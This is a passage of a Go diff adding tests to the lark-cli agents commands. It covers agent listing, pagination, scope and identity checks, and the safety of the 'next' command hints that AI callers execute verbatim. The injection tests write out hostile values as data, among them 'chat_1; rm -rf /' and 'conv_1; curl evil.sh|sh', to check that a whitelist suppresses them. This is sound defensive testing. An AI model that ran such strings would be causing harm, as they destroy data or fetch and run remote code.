if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
|
||||
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint pointing at
|
||||
// `agents list` for provider discovery.
|
||||
if !strings.Contains(p.Hint, "agents list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agents list`, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
|
||||
// tests only exercise enumeration, never Send/GetTask, but Register requires
|
||||
// both non-nil).
|
||||
func catSpec(id, name, desc string) iagents.AgentSpec {
|
||||
return iagents.AgentSpec{
|
||||
ID: id, Name: name, Description: desc,
|
||||
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
|
||||
// is derived offline from the static Catalog. It leaks into the package-level
|
||||
// registry for the rest of this package run.
|
||||
func registerFakeDisc() {
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakedisc",
|
||||
Label: "test fake (catalog)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
|
||||
Catalog: []iagents.AgentSpec{
|
||||
catSpec("a1", "Agent One", "第一个"),
|
||||
catSpec("a2", "Agent Two", ""),
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
|
||||
// catalog provider enumerates its static entries offline into
|
||||
// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
|
||||
func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
|
||||
registerFakeDisc()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedisc should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
agents, ok := data["agents"].([]interface{})
|
||||
if !ok || len(agents) != 2 {
|
||||
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
|
||||
}
|
||||
first, _ := agents[0].(map[string]interface{})
|
||||
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
|
||||
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
|
||||
// instance provider that wires the optional ListAgents hook enumerates via it,
|
||||
// and the hook receives an identity-pinned runtime (not nil).
|
||||
func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
|
||||
var gotRT iagents.Runtime
|
||||
spec := catSpec("", "", "")
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakelive",
|
||||
Label: "test fake (instance live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(_ context.Context, rt iagents.Runtime, _ iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
|
||||
gotRT = rt
|
||||
return []iagents.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, iagents.PageInfo{}, nil
|
||||
},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.Flags().String("as", "", "identity")
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive", PageSize: defaultPageSize}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakelive should not error: %v", err)
|
||||
}
|
||||
if gotRT == nil {
|
||||
t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
|
||||
t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PaginationMeta pins the command-level pagination envelope
|
||||
// for the instance `list <scheme>` path: a ListAgents hook that returns a page
|
||||
// plus PageInfo{HasMore,NextToken} surfaces as meta.has_more / meta.page_token,
|
||||
// and meta.next carries a "下一页" action replaying the scheme with
|
||||
// --page-size / --page-token.
|
||||
func TestAgentListScheme_PaginationMeta(t *testing.T) {
|
||||
spec := catSpec("", "", "")
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakelivepage",
|
||||
Label: "test fake (instance paginated live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
|
||||
if page.Size != 2 {
|
||||
t.Errorf("the ListAgents hook should receive the requested page size 2, got %d", page.Size)
|
||||
}
|
||||
return []iagents.AgentSummary{
|
||||
{AgentRef: "fakelivepage:x", Name: "Live X"},
|
||||
{AgentRef: "fakelivepage:y", Name: "Live Y"},
|
||||
},
|
||||
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
|
||||
},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.Flags().String("as", "", "identity")
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelivepage", PageSize: 2}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("paged list fakelivepage should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if env.Meta == nil {
|
||||
t.Fatal("a paged list should carry meta")
|
||||
}
|
||||
if !env.Meta.HasMore {
|
||||
t.Error("meta.has_more should be true")
|
||||
}
|
||||
if env.Meta.PageToken != "2" {
|
||||
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
|
||||
}
|
||||
found := false
|
||||
for _, n := range env.Meta.Next {
|
||||
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents list fakelivepage") &&
|
||||
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("meta.next should contain a 下一页 action replaying the scheme + --page-size/--page-token, got %+v", env.Meta.Next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
|
||||
// path now runs the same all-or-nothing scope preflight every other online verb
|
||||
// runs. An instance provider with RequiredScopes, driven by a user whose token
|
||||
// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
|
||||
func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
|
||||
called := false
|
||||
spec := catSpec("", "", "")
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakescopelive",
|
||||
Label: "test fake (scoped live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
RequiredScopes: []string{"live:read"},
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
|
||||
called = true
|
||||
return nil, iagents.PageInfo{}, nil
|
||||
},
|
||||
})
|
||||
// The stored user token holds an unrelated scope (non-empty so the preflight
|
||||
// actually runs) but not the required one.
|
||||
swapStoredScopes(t, []string{"unrelated:scope"})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user", PageSize: defaultPageSize}
|
||||
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("listing as a user missing the required scope should fail with missing_scope")
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %+v", p)
|
||||
}
|
||||
if called {
|
||||
t.Error("ListAgents must NOT be called when the scope preflight fails")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
|
||||
// enforces the user|bot identity whitelist. An explicitly unsupported --as is
|
||||
// rejected as a validation error before the online ListAgents call.
|
||||
func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
|
||||
called := false
|
||||
spec := catSpec("", "", "")
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakelivewl",
|
||||
Label: "test fake (identity-whitelist live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
|
||||
called = true
|
||||
return nil, iagents.PageInfo{}, nil
|
||||
},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin", PageSize: defaultPageSize}
|
||||
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should be rejected before the online call")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if called {
|
||||
t.Error("ListAgents must NOT be called when the identity whitelist fails")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PrettyStripsANSI pins that `agents list <scheme> --format
|
||||
// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
|
||||
// static catalog entries) before they reach the terminal.
|
||||
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakedirty",
|
||||
Label: "test fake (dirty names)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
|
||||
Catalog: []iagents.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedirty pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
|
||||
t.Errorf("readable text should remain after stripping, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must be registered on `agents list` and filter the envelope.
|
||||
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"--jq", ".ok"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agents list --jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "true" {
|
||||
t.Errorf("--jq .ok should output only true, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
|
||||
// of --format, the --jq flag presence, and that list takes at most one
|
||||
// positional arg (the scheme).
|
||||
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agents list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agents list should have a --format flag")
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("jq") == nil {
|
||||
t.Error("agents list should have a --jq flag")
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agents list should register an --as flag (needed to pick the identity for online enumeration)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err != nil {
|
||||
t.Errorf("agents list with no args should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example"}); err != nil {
|
||||
t.Errorf("agents list <scheme> should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
|
||||
t.Error("agents list with more than 1 positional argument should error (MaximumNArgs 1)")
|
||||
}
|
||||
}
|
||||
276
cmd/agents/next_contract_test.go
Normal file
276
cmd/agents/next_contract_test.go
Normal file
@@ -0,0 +1,276 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
|
||||
// contract test automatically covers any future nextForTask branch keyed on a
|
||||
// state instead of relying on hand-picked samples.
|
||||
var allTaskStates = []iagents.TaskState{
|
||||
iagents.StateSubmitted,
|
||||
iagents.StateWorking,
|
||||
iagents.StateInputRequired,
|
||||
iagents.StateAuthRequired,
|
||||
iagents.StateCompleted,
|
||||
iagents.StateFailed,
|
||||
iagents.StateCanceled,
|
||||
iagents.StateRejected,
|
||||
iagents.StateUnknown,
|
||||
}
|
||||
|
||||
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
|
||||
// every next command emitted by nextForTask — across all 9 task states, with
|
||||
// and without a context id, template hints included (their <...> placeholders
|
||||
// are single space-free tokens, so they parse as ordinary flag values) — must
|
||||
// traverse and flag-parse against the real agent command tree. meta.next is
|
||||
// defined as "AI executes this verbatim", so a next that references a
|
||||
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
|
||||
// at build time instead of by a failing acceptance run.
|
||||
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
|
||||
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
|
||||
// credentials; all meta.next commands live under `lark-cli agents ...`).
|
||||
agentTree := NewCmdAgents(nil)
|
||||
|
||||
for _, state := range allTaskStates {
|
||||
for _, ctxID := range []string{"", "conversation_1"} {
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: ctxID,
|
||||
State: state,
|
||||
IsTerminal: state.IsTerminal(),
|
||||
}
|
||||
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
|
||||
if len(next) == 0 {
|
||||
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
|
||||
}
|
||||
for _, n := range next {
|
||||
if state == iagents.StateAuthRequired {
|
||||
// auth_required is an agent-side task state whose next step is
|
||||
// the auth (re-authorize) flow, so it legitimately points OUT
|
||||
// of the agent subtree and is not traversable against
|
||||
// agentTree; assert its shape and skip the agent traversal.
|
||||
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
|
||||
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(n.Command, "lark-cli agents ") {
|
||||
t.Fatalf("next %q must target the agent subtree", n.Command)
|
||||
}
|
||||
// WHEN: the command string is parsed against the real tree.
|
||||
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agents "))
|
||||
c, flags, err := agentTree.Traverse(argv)
|
||||
// THEN: it traverses to a leaf and its flags all exist.
|
||||
if err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
if c == agentTree {
|
||||
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
|
||||
}
|
||||
if err := c.ParseFlags(flags); err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
|
||||
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
|
||||
// whole next entry (omit rather than risk injection), in every state —
|
||||
// meta.next commands are executed verbatim by AI callers, so shell
|
||||
// metacharacters in an interpolated id are command injection.
|
||||
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
|
||||
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
|
||||
for _, state := range allTaskStates {
|
||||
task := &iagents.AgentTask{TaskID: bad, State: state}
|
||||
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) != 0 {
|
||||
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
|
||||
// the user-echoed ref is interpolated into every next command, so a ref that
|
||||
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
|
||||
// suppresses the whole hint — a ref with spaces/quotes would make the command
|
||||
// un-copy-pasteable at best and an injection surface at worst.
|
||||
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
|
||||
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
|
||||
if next := nextForTask(bad, task, nil, nil, iagents.VerbSend); len(next) != 0 {
|
||||
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
|
||||
}
|
||||
}
|
||||
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) == 0 {
|
||||
t.Error("valid ref example:agent_x should keep next")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
|
||||
// its degradation semantics: a legit task_id with an injection-shaped
|
||||
// context_id (input_required branch interpolates both) keeps the hint but
|
||||
// replaces the dirty id with the <context_id> placeholder — Template:true, no
|
||||
// untrusted content interpolated.
|
||||
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
|
||||
dirty := "conv_1; curl evil.sh|sh"
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: dirty,
|
||||
State: iagents.StateInputRequired,
|
||||
}
|
||||
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
|
||||
}
|
||||
if !next[0].Template {
|
||||
t.Errorf("degraded hint must be template=true, got %+v", next[0])
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "<context_id>") {
|
||||
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
|
||||
}
|
||||
if strings.Contains(next[0].Command, "conv_1") {
|
||||
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
|
||||
// agent-side task state (the end user must (re)authorize in the agent), NOT a
|
||||
// text-continuation like input_required. Its next must point at the auth
|
||||
// re-authorize flow (auth login --scope), never reuse the text-continuation
|
||||
// send hint.
|
||||
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateAuthRequired}
|
||||
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("auth_required should produce 1 next, got %+v", next)
|
||||
}
|
||||
// Must NOT be the input_required text-continuation hint.
|
||||
if strings.Contains(next[0].Command, "agents send") || strings.Contains(next[0].Command, "--text") {
|
||||
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
|
||||
}
|
||||
// Must point at the auth (re-authorize) flow.
|
||||
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
|
||||
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
|
||||
}
|
||||
// The concrete scopes come from the card, so the command carries a
|
||||
// placeholder and must be marked template.
|
||||
if !next[0].Template {
|
||||
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
|
||||
// default: task get has --watch, not --wait, and the poll hint must suggest a
|
||||
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
|
||||
// forever on a long task nor self-hammers with unbounded polls.
|
||||
func TestNextForTaskWatchNotWait(t *testing.T) {
|
||||
next := nextForTask("example:agent_x", &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}, nil, nil, iagents.VerbSend)
|
||||
if len(next) == 0 {
|
||||
t.Fatal("working task must produce a poll next")
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
|
||||
t.Fatalf("poll next must use --watch: %+v", next)
|
||||
}
|
||||
wantTimeout := "--timeout " + defaultWatchTimeout.String()
|
||||
if !strings.Contains(next[0].Command, wantTimeout) {
|
||||
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskQuestionGroup pins that an input_required task carrying a
|
||||
// question group yields ONE per-question --answer template (bare <option_id>
|
||||
// for a choice, marked repeatable for multi-select, .text=<文本> for free text,
|
||||
// design doc §4.4); a group with any whitelist-failing question_id falls back
|
||||
// to the free-text continuation (a key the CLI's own guard would reject is
|
||||
// never emitted).
|
||||
func TestNextForTaskQuestionGroup(t *testing.T) {
|
||||
group := nextForTask("example:planner", &iagents.AgentTask{
|
||||
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
|
||||
InputRequired: &iagents.InputRequired{
|
||||
Label: "报表生成确认",
|
||||
Questions: []iagents.Question{
|
||||
{QuestionID: "q1_a8", Question: "维度?", Options: []iagents.Option{{OptionID: "by_region", Label: "按大区"}}},
|
||||
{QuestionID: "q2_a8", Question: "时间?"},
|
||||
{QuestionID: "q3_a8", Question: "区域?", MultiSelect: true, Options: []iagents.Option{{OptionID: "east", Label: "华东"}}},
|
||||
},
|
||||
},
|
||||
}, nil, nil, iagents.VerbSend)
|
||||
if len(group) != 1 || !group[0].Template {
|
||||
t.Fatalf("question-group next must be one template action, got %+v", group)
|
||||
}
|
||||
for _, want := range []string{
|
||||
"--answer q1_a8=<option_id>",
|
||||
"--answer q2_a8.text=<文本>",
|
||||
"--answer q3_a8=<option_id 多选可重复>",
|
||||
"--task-id task_1",
|
||||
} {
|
||||
if !strings.Contains(group[0].Command, want) {
|
||||
t.Errorf("question-group command should contain %q, got %q", want, group[0].Command)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(group[0].Label, "转达给用户") {
|
||||
t.Errorf("label must be relay-first wording, got %q", group[0].Label)
|
||||
}
|
||||
// A question_id with shell metacharacters must NOT be interpolated → the
|
||||
// whole group falls back to the --text continuation.
|
||||
badID := nextForTask("example:planner", &iagents.AgentTask{
|
||||
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
|
||||
InputRequired: &iagents.InputRequired{
|
||||
Questions: []iagents.Question{{QuestionID: "q bad;rm", Question: "x"}},
|
||||
},
|
||||
}, nil, nil, iagents.VerbSend)
|
||||
if len(badID) != 1 || strings.Contains(badID[0].Command, "--answer") || !strings.Contains(badID[0].Command, "--text") {
|
||||
t.Errorf("a whitelist-failing question_id should fall back to the --text form, got %+v", badID)
|
||||
}
|
||||
// A flag-lookalike question_id ("--text" passes a bare charset test but not
|
||||
// the alphanumeric-first rule) must likewise never be interpolated.
|
||||
flagLike := nextForTask("example:planner", &iagents.AgentTask{
|
||||
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
|
||||
InputRequired: &iagents.InputRequired{
|
||||
Questions: []iagents.Question{{QuestionID: "--text", Question: "x"}},
|
||||
},
|
||||
}, nil, nil, iagents.VerbSend)
|
||||
if len(flagLike) != 1 || strings.Contains(flagLike[0].Command, "--answer") {
|
||||
t.Errorf("a flag-lookalike question_id must fall back, got %+v", flagLike)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskTemplateFlag pins the template marker semantics: the
|
||||
// input_required continue hint carries a <你的答复> placeholder, so it must be
|
||||
// marked template=true (not directly executable); poll and terminal-detail
|
||||
// hints are verbatim-executable and must not carry the marker.
|
||||
func TestNextForTaskTemplateFlag(t *testing.T) {
|
||||
// input_required with a known context: placeholder in --text → template.
|
||||
cont := nextForTask("example:agent_x", &iagents.AgentTask{
|
||||
TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateInputRequired,
|
||||
}, nil, nil, iagents.VerbSend)
|
||||
if len(cont) != 1 || !cont[0].Template {
|
||||
t.Fatalf("input_required next must be template=true, got %+v", cont)
|
||||
}
|
||||
// input_required without a context id: <context_id> placeholder → template.
|
||||
contNoCtx := nextForTask("example:agent_x", &iagents.AgentTask{
|
||||
TaskID: "chat_1", State: iagents.StateInputRequired,
|
||||
}, nil, nil, iagents.VerbSend)
|
||||
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
|
||||
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
|
||||
}
|
||||
// Poll and terminal-detail hints are directly executable → no template flag.
|
||||
for _, task := range []*iagents.AgentTask{
|
||||
{TaskID: "chat_1", State: iagents.StateWorking},
|
||||
{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true},
|
||||
} {
|
||||
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
|
||||
if len(next) != 1 || next[0].Template {
|
||||
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
505
cmd/agents/params.go
Normal file
505
cmd/agents/params.go
Normal file
@@ -0,0 +1,505 @@
|
||||
